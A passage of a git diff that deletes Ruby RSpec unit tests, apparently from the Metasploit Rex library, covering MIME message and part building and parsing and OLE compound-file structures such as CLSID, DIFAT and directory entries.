'Date: Wed,20 Aug 2014 08:45:38 -0500' - end - - it "parses headers separated by lines" do - subject.parse(mime_headers_test) - expect(subject.headers.length).to eq(2) - end - - it "parses headers names and values separated by :" do - subject.parse(mime_headers_test) - expect(subject.headers).to eq([['Content-Type', 'text/plain;'], ['Content-Disposition', 'attachment; filename="test.txt"']]) - end - - it "parses headers with ':' characters in the value" do - subject.parse(complex_header) - expect(subject.headers).to eq([['Date', 'Wed,20 Aug 2014 08:45:38 -0500']]) - end - end -end diff --git a/spec/lib/rex/mime/message_spec.rb b/spec/lib/rex/mime/message_spec.rb deleted file mode 100644 index e38f03e332..0000000000 --- a/spec/lib/rex/mime/message_spec.rb +++ /dev/null @@ -1,411 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/mime' -require 'rex/text' - -RSpec.describe Rex::MIME::Message do - - subject do - described_class.new - end - - describe "#initialize" do - subject(:message_class) do - described_class.allocate - end - - let(:raw_message) do - message = "MIME-Version: 1.0\r\n" - message << "Content-Type: multipart/mixed; boundary=\"_Part_12_3195573780_381739540\"\r\n" - message << "Subject: Pull Request\r\n" - message << "Date: Wed,20 Aug 2014 08:45:38 -0500\r\n" - message << "Message-ID: \r\n" - message << "From: contributor@msfdev.int\r\n" - message << "To: msfdev@msfdev.int\r\n" - message << "\r\n" - message << "--_Part_12_3195573780_381739540\r\n" - message << "Content-Disposition: inline; filename=\"content\"\r\n" - message << "Content-Type: application/octet-stream; name=\"content\"\r\n" - message << "Content-Transfer-Encoding: base64\r\n" - message << "\r\n" - message << "Q29udGVudHM=\r\n" - message << "\r\n" - message << "--_Part_12_3195573780_381739540--\r\n" - - message - end - - it "creates a new Rex::MIME::Header" do - message_class.send(:initialize) - expect(message_class.header).to be_a(Rex::MIME::Header) - end - - it "creates an empty array of parts" do - message_class.send(:initialize) - expect(message_class.parts).to be_empty - end - - it "creates a random bound" do - message_class.send(:initialize) - expect(message_class.bound).to include('_Part_') - end - - it "allows to populate headers from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.header.headers.length).to eq(7) - end - - it "allows to create a MIME-Version header from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.header.find('MIME-Version')).to eq(['MIME-Version', '1.0']) - end - - it "allows to create a Content-Type header from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.header.find('Content-Type')).to eq(['Content-Type', "multipart/mixed; boundary=\"_Part_12_3195573780_381739540\""]) - end - - it "allows to create a Subject header from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.header.find('Subject')).to eq(['Subject', 'Pull Request']) - end - - it "allows to create a Date header from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.header.find('Date')).to eq(['Date', 'Wed,20 Aug 2014 08:45:38 -0500']) - end - - it "allows to create a Message-ID header from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.header.find('Message-ID')).to eq(['Message-ID', '']) - end - - it "allows to create a From header from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.header.find('From')).to eq(['From', 'contributor@msfdev.int']) - end - - it "allows to create a To header from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.header.find('To')).to eq(['To', 'msfdev@msfdev.int']) - end - - it "allows to populate parts from argument" do - message_class.send(:initialize, raw_message) - expect(message_class.parts.length).to eq(1) - end - - it "allows to populate parts headers from argument" do - message_class.send(:initialize, raw_message) - part = message_class.parts[0] - expect(part.header.headers.length).to eq(3) - end - - it "allows to populate parts contents from argument" do - message_class.send(:initialize, raw_message) - part = message_class.parts[0] - expect(part.content).to eq("Q29udGVudHM=") - end - end - - describe "#to" do - it "returns nil if To: header doesn't exist" do - expect(subject.to).to be_nil - end - - it "returns the To: header value if it exists" do - subject.header.add('To', 'msfdev') - expect(subject.to).to eq('msfdev') - end - end - - describe "#to=" do - it "sets the To: header value" do - subject.to = 'msfdev' - expect(subject.to).to eq('msfdev') - end - end - - - describe "#from" do - it "returns nil if From: header doesn't exist" do - expect(subject.from).to be_nil - end - - it "returns the From: header value if it exists" do - subject.header.add('From', 'msfdev') - expect(subject.from).to eq('msfdev') - end - end - - describe "#from=" do - it "sets the From: header value" do - subject.from = 'msfdev' - expect(subject.from).to eq('msfdev') - end - end - - describe "#subject" do - it "returns nil if Subject: header doesn't exist" do - expect(subject.subject).to be_nil - end - - it "returns the Subject: header value if it exists" do - subject.header.add('Subject', 'msfdev') - expect(subject.subject).to eq('msfdev') - end - end - - describe "#subject=" do - it "sets the Subject: header value" do - subject.subject = 'msfdev' - expect(subject.subject).to eq('msfdev') - end - end - - describe "#mime_defaults" do - it "sets the MIME-Version header" do - subject.mime_defaults - expect(subject.header.find('MIME-Version')).to_not be_nil - end - - it "sets the MIME-Version header to '1.0'" do - subject.mime_defaults - expect(subject.header.find('MIME-Version')).to eq(['MIME-Version', '1.0']) - end - - it "sets the Content-Type header" do - subject.mime_defaults - expect(subject.header.find('Content-Type')).to_not be_nil - end - - it "sets the Content-Type header to multipart/mixed" do - subject.mime_defaults - expect(subject.header.find('Content-Type')[1]).to include('multipart/mixed') - end - - it "sets the Subject header" do - subject.mime_defaults - expect(subject.header.find('Subject')).to_not be_nil - end - - it "sets the Subject header to empty string" do - subject.mime_defaults - expect(subject.header.find('Subject')).to eq(['Subject', '']) - end - - it "sets the Message-ID header" do - subject.mime_defaults - expect(subject.header.find('Message-ID')).to_not be_nil - end - - it "sets the From header" do - subject.mime_defaults - expect(subject.header.find('From')).to_not be_nil - end - - it "sets the From header to empty string" do - subject.mime_defaults - expect(subject.header.find('From')).to eq(['From', '']) - end - - it "sets the To header" do - subject.mime_defaults - expect(subject.header.find('To')).to_not be_nil - end - - it "sets the To header to empty string" do - subject.mime_defaults - expect(subject.header.find('To')).to eq(['To', '']) - end - end - - describe "#add_part" do - subject(:part) do - described_class.new.add_part(*args) - end - - let(:args) { [] } - - it "returns the new part" do - expect(part).to be_a(Rex::MIME::Part) - end - - it "set part's Content-Type to text/plain by default" do - expect(part.header.find('Content-Type')[1]).to eq('text/plain') - end - - it "set part's Content-Transfer-Encoding to 8bit by default" do - expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('8bit') - end - - it "doesn't set part's Content-Disposition by default" do - expect(part.header.find('Content-Disposition')).to be_nil - end - - context "with Content-Type argument" do - let(:args) { ['', 'application/pdf'] } - - it "creates a part Content-Type header" do - expect(part.header.find('Content-Type')[1]).to eq('application/pdf') - end - end - - context "with Content-Transfer-Encoding argument" do - let(:args) { ['', 'application/pdf', 'binary'] } - - it "creates a part Content-Transfer-Encoding header" do - expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('binary') - end - end - - context "with Content-Disposition argument" do - let(:args) { ['', 'application/pdf', 'binary', 'attachment; filename="fname.ext"'] } - - it "creates a part Content-Disposition header" do - expect(part.header.find('Content-Disposition')[1]).to eq('attachment; filename="fname.ext"') - end - end - - context "with content argument" do - let(:args) { ['msfdev'] } - - it "creates part content" do - expect(part.content).to eq('msfdev') - end - end - - end - - describe "#add_part_attachment" do - it "requires data argument" do - expect { subject.add_part_attachment }.to raise_error(ArgumentError) - end - - it "requires name argument" do - expect { subject.add_part_attachment('data') }.to raise_error(ArgumentError) - end - - it 'returns the new Rex::MIME::Part' do - expect(subject.add_part_attachment('data', 'name')).to be_a(Rex::MIME::Part) - end - - it 'encodes the part content with base64' do - part = subject.add_part_attachment('data', 'name') - expect(part.content).to eq(Rex::Text.encode_base64('data', "\r\n")) - end - - it 'setup Content-Type as application/octet-stream' do - part = subject.add_part_attachment('data', 'name') - expect(part.header.find('Content-Type')[1]).to eq('application/octet-stream; name="name"') - end - - it 'setup Content-Transfer-Encoding as base64' do - part = subject.add_part_attachment('data', 'name') - expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('base64') - end - - it 'setup Content-Disposition as attachment' do - part = subject.add_part_attachment('data', 'name') - expect(part.header.find('Content-Disposition')[1]).to eq('attachment; filename="name"') - end - end - - describe "#add_part_inline_attachment" do - it "requires data argument" do - expect { subject.add_part_inline_attachment }.to raise_error(ArgumentError) - end - - it "requires name argument" do - expect { subject.add_part_inline_attachment('data') }.to raise_error(ArgumentError) - end - - it 'returns the new Rex::MIME::Part' do - expect(subject.add_part_inline_attachment('data', 'name')).to be_a(Rex::MIME::Part) - end - - it 'encodes the part content with base64' do - part = subject.add_part_inline_attachment('data', 'name') - expect(part.content).to eq(Rex::Text.encode_base64('data', "\r\n")) - end - - it 'setup Content-Type as application/octet-stream' do - part = subject.add_part_inline_attachment('data', 'name') - expect(part.header.find('Content-Type')[1]).to eq('application/octet-stream; name="name"') - end - - it 'setup Content-Transfer-Encoding as base64' do - part = subject.add_part_inline_attachment('data', 'name') - expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('base64') - end - - it 'setup Content-Disposition as attachment' do - part = subject.add_part_inline_attachment('data', 'name') - expect(part.header.find('Content-Disposition')[1]).to eq('inline; filename="name"') - end - end - - describe "#to_s" do - let(:regexp_mail) do - regex = "MIME-Version: 1.0\r\n" - regex << "Content-Type: multipart/mixed; boundary=\"_Part_.*\"\r\n" - regex << "Subject: Pull Request\r\n" - regex << "Date: .*\r\n" - regex << "Message-ID: <.*@.*>\r\n" - regex << "From: contributor@msfdev.int\r\n" - regex << "To: msfdev@msfdev.int\r\n" - regex << "\r\n" - regex << "--_Part_.*\r\n" - regex << "Content-Disposition: inline\r\n" - regex << "Content-Type: text/plain\r\n" - regex << "Content-Transfer-Encoding: base64\r\n" - regex << "\r\n" - regex << "Q29udGVudHM=\r\n" - regex << "\r\n" - regex << "--_Part_.*--\r\n" - - Regexp.new(regex) - end - - let(:regexp_web) do - regex = "--_Part_.*\r\n" - regex << "Content-Disposition: form-data; name=\"action\"\r\n" - regex << "\r\n" - regex << "save\r\n" - regex << "--_Part_.*\r\n" - regex << "Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n" - regex << "Content-Type: application/octet-stream\r\n" - regex << "\r\n" - regex << "Contents\r\n" - regex << "--_Part_.*\r\n" - regex << "Content-Disposition: form-data; name=\"title\"\r\n" - regex << "\r\n" - regex << "Title\r\n" - regex << "--_Part_.*--\r\n" - - Regexp.new(regex) - end - - it "returns empty string if Rex::MIME::Message is empty" do - expect(subject.to_s).to be_empty - end - - it "generates valid MIME email messages" do - subject.mime_defaults - subject.from = "contributor@msfdev.int" - subject.to = "msfdev@msfdev.int" - subject.subject = "Pull Request" - subject.add_part(Rex::Text.encode_base64("Contents", "\r\n"), "text/plain", "base64", "inline") - expect(regexp_mail.match(subject.to_s)).to_not be_nil - end - - it "generates valid MIME web forms" do - subject.add_part("save", nil, nil, "form-data; name=\"action\"") - subject.add_part("Contents", "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"test.txt\"") - subject.add_part("Title", nil, nil, "form-data; name=\"title\"") - expect(regexp_web.match(subject.to_s)).to_not be_nil - end - end - -end diff --git a/spec/lib/rex/mime/part_spec.rb b/spec/lib/rex/mime/part_spec.rb deleted file mode 100644 index 232fbf42cd..0000000000 --- a/spec/lib/rex/mime/part_spec.rb +++ /dev/null @@ -1,92 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/mime' - -RSpec.describe Rex::MIME::Part do - - subject do - described_class.new - end - - describe "#initialize" do - subject(:part_class) do - described_class.allocate - end - - it "initializes the Rex::MIME::Header object" do - part_class.send(:initialize) - expect(part_class.header).to be_a(Rex::MIME::Header) - end - - it "initializes the Rex::MIME::Header with an empty array of headers" do - part_class.send(:initialize) - expect(part_class.header.headers).to be_empty - end - - it "Initializes content with an empty String" do - part_class.send(:initialize) - expect(part_class.content).to be_empty - end - end - - describe "#transfer_encoding" do - it "returns nil if the part hasn't a Content-Transfer-Encoding header" do - expect(subject.transfer_encoding).to be_nil - end - - it "returns the transfer encoding value if a Content-Transfer-Encoding header exists" do - subject.header.add('Content-Transfer-Encoding', 'base64') - expect(subject.transfer_encoding).to eq('base64') - end - end - - describe "#binary_content?" do - it "returns false if transfer encoding isn't defined" do - expect(subject.binary_content?).to be_falsey - end - - it "returns false if transfer encoding isn't binary" do - subject.header.add('Content-Transfer-Encoding', 'base64') - expect(subject.binary_content?).to be_falsey - end - - it "returns true if transfer encoding is binary" do - subject.header.add('Content-Transfer-Encoding', 'binary') - expect(subject.binary_content?).to be_truthy - end - end - - describe "#content_encoded" do - let(:content_test) do - "\rTest1\n" - end - - it "returns the exact content if transfer encoding is binary" do - subject.header.add('Content-Transfer-Encoding', 'binary') - subject.content = content_test - expect(subject.content_encoded).to eq(content_test) - end - - it "returns the content crlf encoded if transfer encoding isn't binary" do - subject.content = content_test - expect(subject.content_encoded).to eq("Test1\r\n") - end - end - - describe "#to_s" do - it "returns headers and content separated by two \\r\\n sequences" do - subject.header.add('var', 'val') - subject.content = 'content' - expect(subject.to_s).to eq("var: val\r\n\r\ncontent\r\n") - end - - it "returns two \\r\\n sequences if part is empty" do - expect(subject.to_s).to eq("\r\n\r\n") - end - - it "ends with \\r\\n sequence" do - expect(subject.to_s).to end_with("\r\n") - end - end -end diff --git a/spec/lib/rex/ole/clsid_spec.rb b/spec/lib/rex/ole/clsid_spec.rb deleted file mode 100644 index 714b61c418..0000000000 --- a/spec/lib/rex/ole/clsid_spec.rb +++ /dev/null @@ -1,58 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/ole' - -RSpec.describe Rex::OLE::CLSID do - before(:example) do - Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) - end - - let(:sample_clsid) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" } - - subject(:clsid) do - described_class.new(sample_clsid) - end - - describe "#initialize" do - subject(:clsid_class) do - described_class.allocate - end - - it "returns the buf value" do - expect(clsid_class.send(:initialize, sample_clsid)).to eq(sample_clsid) - end - - context "when buf is nil" do - it "returns padding" do - expect(clsid_class.send(:initialize)).to eq("\x00" * 16) - end - end - end - - describe "#pack" do - it "returns the buf field" do - expect(clsid.pack).to eq(sample_clsid) - end - end - - describe "#to_s" do - it "returns printable clsid" do - expect(clsid.to_s).to eq('33221100-5544-7766-8899-aabbccddeeff') - end - - context "when buf is nil" do - it "raises NoMethodError" do - clsid.instance_variable_set(:@buf, nil) - expect { clsid.to_s }.to raise_error(NoMethodError) - end - end - - context "when buf is shorter than 16 bytes" do - it "raises TypeError" do - clsid.instance_variable_set(:@buf, '') - expect { clsid.to_s }.to raise_error(TypeError) - end - end - end -end diff --git a/spec/lib/rex/ole/difat_spec.rb b/spec/lib/rex/ole/difat_spec.rb deleted file mode 100644 index d33eef98e0..0000000000 --- a/spec/lib/rex/ole/difat_spec.rb +++ /dev/null @@ -1,294 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/ole' - -RSpec.describe Rex::OLE::DIFAT do - before(:example) do - Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) - end - - let(:storage) do - Rex::OLE::Storage.new - end - - subject(:difat) do - described_class.new(storage) - end - - describe ".new" do - it "returns a Rex::OLE::DIFAT instance" do - expect(described_class.new(storage)).to be_a(Rex::OLE::DIFAT) - end - - it "initializes @stg" do - expect(difat.instance_variable_get(:@stg)).to eq(storage) - end - - it "initializes @entries" do - expect(difat.instance_variable_get(:@entries)).to be_an(Array) - end - - it "initializes @entries as empty array" do - expect(difat.instance_variable_get(:@entries)).to be_empty - end - end - - describe "#[]=" do - context "when the entry doesn't exist" do - it "sets an element in the @entries array" do - difat[0] = 1 - expect(difat.instance_variable_get(:@entries)[0]).to eq(1) - end - end - - context "when the entry exists" do - it "replaces the element in the @entries array" do - difat[0] = 1 - difat[0] = 2 - expect(difat.instance_variable_get(:@entries)[0]).to eq(2) - end - end - end - - describe "#[]" do - context "when the entry doesn't exist" do - it "returns nil" do - expect(difat[3]).to eq(nil) - end - end - - context "when the entry exists" do - it "returns the entry value" do - difat[3] = 31 - expect(difat[3]).to eq(31) - end - end - end - - - describe "#+" do - context "when @entries is empty" do - it "sets the @entries values" do - difat + [1, 2] - expect(difat.instance_variable_get(:@entries)).to eq([1, 2]) - end - end - - context "when @entries isn't empty" do - it "concatenates the array to @entries" do - difat[2] = 0 - difat + [1, 2] - expect(difat.instance_variable_get(:@entries)).to eq([nil, nil, 0, 1, 2]) - end - end - end - - describe "#<<" do - it "concatenates the element to the @entries array" do - difat[0] = 1 - difat << 3 - expect(difat.instance_variable_get(:@entries)).to eq([1, 3]) - end - end - - describe "#length" do - subject(:difat_length) do - difat.length - end - - context "when @entries is empty" do - it "returns 0" do - is_expected.to eq(0) - end - end - - context "when @entries isn't empty" do - it "returns the @entries length" do - difat[0] = 1 - difat[1] = 2 - is_expected.to eq(2) - end - end - end - - describe "#slice!" do - context "when @entries is empty" do - it "returns empty array" do - expect(difat.slice!(0, 1)).to eq([]) - end - end - - context "when start is out of range" do - it "returns nil" do - difat[0] = 1 - expect(difat.slice!(10, 1)).to eq(nil) - end - end - - context "when stop is 0" do - it "returns empty array" do - difat[0] = 1 - expect(difat.slice!(0, 0)).to eq([]) - end - - it "doesn't delete nothing" do - difat[0] = 1 - difat.slice!(0, 0) - expect(difat[0]).to eq(1) - end - end - - context "when @entries is long enough" do - it "returns the deleted elements" do - difat + [1, 2] - expect(difat.slice!(0, 1)).to eq([1]) - end - - it "deletes the elements in the range" do - difat + [1, 2] - difat.slice!(0, 1) - expect(difat.instance_variable_get(:@entries)).to eq([2]) - end - end - end - - describe "#reset" do - it "resets the @entries array" do - difat[0] = 1 - difat.reset - expect(difat.length).to eq(0) - end - end - - describe "#each" do - it "calls the block for every @entries element" do - difat + [1, 2, 3] - res = 0 - difat.each { |elem| res += elem} - expect(res).to eq(1 + 2 + 3) - end - end - - describe "#to_s" do - subject(:difat_string) do - difat.to_s - end - - it "returns an String" do - is_expected.to be_an(String) - end - - it "starts with {" do - is_expected.to start_with('{') - end - - it "ends with }" do - is_expected.to end_with('}') - end - - it "contains @entries values" do - difat + [Rex::OLE::SECT_FAT, 1, 2, 3, Rex::OLE::SECT_DIF, Rex::OLE::SECT_FREE, Rex::OLE::SECT_END] - is_expected.to match(/FAT, 0x1, 0x2, 0x3, DIF, FREE, END/) - end - end - - describe "#read" do - context "when difat is empty" do - it "returns nil" do - expect(difat.read).to be_nil - end - end - end - - describe "#write" do - context "when entries is empty" do - it "returns 0" do - expect(difat.write).to eq(0) - end - - it "fills the first 109 FAT sectors in the storage header" do - difat.write - storage = difat.instance_variable_get(:@stg) - expect(storage.header._sectFat.length).to eq(109) - end - - it "fills the first 109 FAT sectors in the storage header with SECT_FREE" do - difat.write - storage = difat.instance_variable_get(:@stg) - storage.header._sectFat.each { |s| - expect(s).to eq(Rex::OLE::SECT_FREE) - } - end - end - - context "when entries length is less than 109" do - let(:entries) { [1] * 20 } - - it "returns the number of entries" do - difat + entries - expect(difat.write).to eq(20) - end - - it "fills the first 109 FAT sectors in the storage header" do - difat + entries - difat.write - storage = difat.instance_variable_get(:@stg) - expect(storage.header._sectFat.length).to eq(109) - end - - it "fills the first FAT sectors with the entries" do - difat + entries - difat.write - storage = difat.instance_variable_get(:@stg) - (0..entries.length - 1).each { |i| - expect(storage.header._sectFat[i]).to eq(1) - } - end - - it "fills the remaining FAT sectors with FREE sectors" do - difat + entries - difat.write - storage = difat.instance_variable_get(:@stg) - (entries.length..109 - 1).each { |i| - expect(storage.header._sectFat[i]).to eq(Rex::OLE::SECT_FREE) - } - end - end - - context "when entries length is 109" do - let(:entries) { [1] * 109 } - - it "returns the number of entries" do - difat + entries - expect(difat.write).to eq(109) - end - - it "fills the first 109 FAT sectors in the storage header" do - difat + entries - difat.write - storage = difat.instance_variable_get(:@stg) - expect(storage.header._sectFat.length).to eq(109) - end - - it "fills the first 109 FAT sectors with the entries" do - difat + entries - difat.write - storage = difat.instance_variable_get(:@stg) - (0..storage.header._sectFat.length - 1).each { |i| - expect(storage.header._sectFat[i]).to eq(1) - } - end - end - - context "when entries length is greater than 109" do - let(:entries) { [1] * 110 } - - it "raises a RuntimeError" do - difat + entries - expect { difat.write }.to raise_error(RuntimeError) - end - end - - end -end diff --git a/spec/lib/rex/ole/direntry_spec.rb b/spec/lib/rex/ole/direntry_spec.rb deleted file mode 100644 index 267a7d5b56..0000000000 --- a/spec/lib/rex/ole/direntry_spec.rb +++ /dev/null @@ -1,401 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/ole' - -RSpec.describe Rex::OLE::DirEntry do - before(:example) do - Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) - end - - let(:storage) do - Rex::OLE::Storage.new - end - - subject(:dir_entry) do - described_class.new(storage) - end - - describe ".new" do - it "returns a Rex::OLE::DirEntry instance" do - expect(described_class.new(storage)).to be_a(Rex::OLE::DirEntry) - end - - it { expect(dir_entry.instance_variable_get(:@stg)).to eq(storage) } - it { expect(dir_entry.sid).to eq(0) } - it { expect(dir_entry.instance_variable_get(:@_ab)).to eq('Root Entry') } - it { expect(dir_entry.instance_variable_get(:@_cb)).to be_nil } - it { expect(dir_entry.instance_variable_get(:@_mse)).to eq(Rex::OLE::STGTY_ROOT) } - it { expect(dir_entry.instance_variable_get(:@_bflags)).to eq(0) } - it { expect(dir_entry._sidLeftSib).to eq(Rex::OLE::SECT_FREE) } - it { expect(dir_entry._sidRightSib).to eq(Rex::OLE::SECT_FREE) } - it { expect(dir_entry._sidChild).to eq(Rex::OLE::SECT_FREE) } - it { expect(dir_entry.instance_variable_get(:@_clsId)).to be_a(Rex::OLE::CLSID) } - it { expect(dir_entry.instance_variable_get(:@_dwUserFlags)).to eq(0) } - it { expect(dir_entry.instance_variable_get(:@_ctime)).to eq("\x00" * 8) } - it { expect(dir_entry.instance_variable_get(:@_mtime)).to eq("\x00" * 8) } - it { expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_END) } - it { expect(dir_entry.instance_variable_get(:@_ulSize)).to eq(0) } - it { expect(dir_entry.instance_variable_get(:@children)).to be_an(Array) } - it { expect(dir_entry.instance_variable_get(:@children)).to be_empty } - end - - describe "#length" do - it "returns _ulSize" do - dir_entry.instance_variable_set(:@_ulSize, 28) - expect(dir_entry.length).to eq(28) - end - end - - describe "#<<" do - it "increments the children array" do - dir_entry << 1 - children = dir_entry.instance_variable_get(:@children) - expect(children.length).to eq(1) - end - - it "appends to the children array" do - dir_entry << 1 - children = dir_entry.instance_variable_get(:@children) - expect(children).to eq([1]) - end - end - - describe "#each" do - it "calls the block for every children element" do - dir_entry << 1 - dir_entry << 2 - dir_entry << 3 - res = 0 - dir_entry.each { |elem| res += elem} - expect(res).to eq(1 + 2 + 3) - end - end - - describe "#type" do - it "returns the _mse field" do - expect(dir_entry.type).to eq(Rex::OLE::STGTY_ROOT) - end - end - - describe "#type=" do - it "modifies the _mse field" do - dir_entry.type = 3838 - expect(dir_entry.instance_variable_get(:@_mse)).to eq(3838) - end - end - - describe "#name" do - it "returns the _ab field" do - expect(dir_entry.name).to eq('Root Entry') - end - end - - describe "#name=" do - it "modifies the _ab field" do - dir_entry.name = 'test' - expect(dir_entry.instance_variable_get(:@_ab)).to eq('test') - end - end - - describe "#start_sector" do - it "returns the _sectStart field" do - expect(dir_entry.start_sector).to eq(Rex::OLE::SECT_END) - end - end - - describe "#start_sector=" do - it "modifies the _sectStart field" do - dir_entry.start_sector = Rex::OLE::SECT_FREE - expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_FREE) - end - end - - describe "#find_stream_by_name_and_type" do - context "when any children matches the search criteria" do - it "returns nil" do - expect(dir_entry.find_stream_by_name_and_type('name', Rex::OLE::STGTY_ROOT)).to be_nil - end - end - - context "when one children matches the search criteria" do - let(:stream) { Rex::OLE::Stream.new(storage) } - let(:name) { 'name' } - let(:type) { Rex::OLE::STGTY_ROOT } - it "returns the matching stream" do - stream.name = name - stream.type = type - dir_entry << stream - expect(dir_entry.find_stream_by_name_and_type(name, type)).to eq(stream) - end - end - - context "when several children matches the search criteria" do - let(:stream) { Rex::OLE::Stream.new(storage) } - let(:stream_two) { Rex::OLE::Stream.new(storage) } - let(:name) { 'name' } - let(:type) { Rex::OLE::STGTY_ROOT } - let(:sid) { 2 } - it "returns the first matching stream" do - stream.name = name - stream.type = type - dir_entry << stream - - stream_two.name = name - stream_two.type = type - stream_two.sid = sid - dir_entry << stream_two - expect(dir_entry.find_stream_by_name_and_type(name, type)).to eq(stream) - end - end - end - - describe "#find_by_sid" do - let(:stream) { Rex::OLE::Stream.new(storage) } - let(:another_stream) { Rex::OLE::Stream.new(storage) } - - context "when self match the criteria" do - it "returns self" do - expect(dir_entry.find_by_sid(0, dir_entry)).to eq(dir_entry) - end - end - - context "when self and a children stream match the criteria" do - it "returns self" do - stream.sid = 0 - dir_entry << stream - expect(dir_entry.find_by_sid(0, dir_entry)).to eq(dir_entry) - end - end - - context "when only one children stream match the criteria" do - it "returns the child stream" do - stream.sid = 20 - dir_entry << stream - expect(dir_entry.find_by_sid(20, dir_entry)).to eq(stream) - end - end - - context "when several children stream match the criteria" do - it "returns the first child" do - stream.sid = 20 - stream.name = 'stream' - dir_entry << stream - another_stream.sid = 20 - another_stream.name = 'another' - dir_entry << another_stream - expect(dir_entry.find_by_sid(20, dir_entry)).to eq(stream) - end - end - end - - describe "#from_s" do - let(:valid_direntry) do - "\x52\x00\x6f\x00\x6f\x00\x74\x00\x20\x00\x45\x00\x6e\x00\x74\x00\x72\x00\x79\x00\x00\x00" + # name (_ab) - ("\x00" * 42) + # padding - "\x16\x00" + # _cb - "\x05" + # _mse - "\x00" + #_bflags - "\xff\xff\xff\xff" + # _sidLeftSib - "\xff\xff\xff\xff" + # _sidRightSib - "\xff\xff\xff\xff" + # _sidChild - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # clsid - "\x00\x00\x00\x00" + # _dwUserFlags - "\x00\x00\x00\x00\x00\x00\x00\x00" + # _ctime - "\x00\x00\x00\x00\x00\x00\x00\x00" + # _metime - "\xfe\xff\xff\xff" + # _sectStart - "\x00\x00\x00\x00\x00\x00\x00\x00" # _ulSize - end - - let(:invalid_name_length)do - "\x52\x00\x6f\x00\x6f\x00\x74\x00\x20\x00\x45\x00\x6e\x00\x74\x00\x72\x00\x79\x00\x00\x00" + # name (_ab) - ("\x00" * 42) + # padding - "\x41\x00" + # _cb (invalid, major than 0x40) - "\x05" + # _mse - "\x00" + #_bflags - "\xff\xff\xff\xff" + # _sidLeftSib - "\xff\xff\xff\xff" + # _sidRightSib - "\xff\xff\xff\xff" + # _sidChild - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # clsid - "\x00\x00\x00\x00" + # _dwUserFlags - "\x00\x00\x00\x00\x00\x00\x00\x00" + # _ctime - "\x00\x00\x00\x00\x00\x00\x00\x00" + # _metime - "\xfe\xff\xff\xff" + # _sectStart - "\x00\x00\x00\x00\x00\x00\x00\x00" # _ulSize - end - - let(:mismatch_length) do - "\x52\x00\x6f\x00\x6f\x00\x74\x00\x20\x00\x45\x00\x6e\x00\x74\x00\x72\x00\x79\x00\x00\x00" + # name (_ab) - ("\x00" * 42) + # padding - "\x13\x00" + # _cb (invalid length, shorter than real name length) - "\x05" + # _mse - "\x00" + #_bflags - "\xff\xff\xff\xff" + # _sidLeftSib - "\xff\xff\xff\xff" + # _sidRightSib - "\xff\xff\xff\xff" + # _sidChild - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # clsid - "\x00\x00\x00\x00" + # _dwUserFlags - "\x00\x00\x00\x00\x00\x00\x00\x00" + # _ctime - "\x00\x00\x00\x00\x00\x00\x00\x00" + # _metime - "\xfe\xff\xff\xff" + # _sectStart - "\x00\x00\x00\x00\x00\x00\x00\x00" # _ulSize - end - - let(:sid) { 0 } - - context "when name length major than 64" do - it "raises RuntimeError" do - expect { dir_entry.from_s(sid, invalid_name_length) }.to raise_error(RuntimeError) - end - end - - context "when name length doesn't match real length" do - it "raises RuntimeError" do - expect { dir_entry.from_s(sid, mismatch_length) }.to raise_error(RuntimeError) - end - end - - context "when valid buf" do - it "uses argument sid" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.sid).to eq(sid) - end - - it "parses _ab from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_ab)).to eq('Root Entry') - end - - it "parses _cb from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_cb)).to eq(22) - end - - it "parses _mse from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_mse)).to eq(Rex::OLE::STGTY_ROOT) - end - - it "parses _bflags from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_bflags)).to eq(0) - end - - it "parses _sidLeftSib from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry._sidLeftSib).to eq(Rex::OLE::SECT_FREE) - end - - it "parses _sidRightSib from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry._sidRightSib).to eq(Rex::OLE::SECT_FREE) - end - - it "parses _sidChild from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry._sidChild).to eq(Rex::OLE::SECT_FREE) - end - - it "parses _clsId from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_clsId)).to be_a(Rex::OLE::CLSID) - end - - it "parses _dwUserFlags from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_dwUserFlags)).to eq(0) - end - - it "parses _ctime from buf" do - dir_entry.from_s(sid, valid_direntry) - 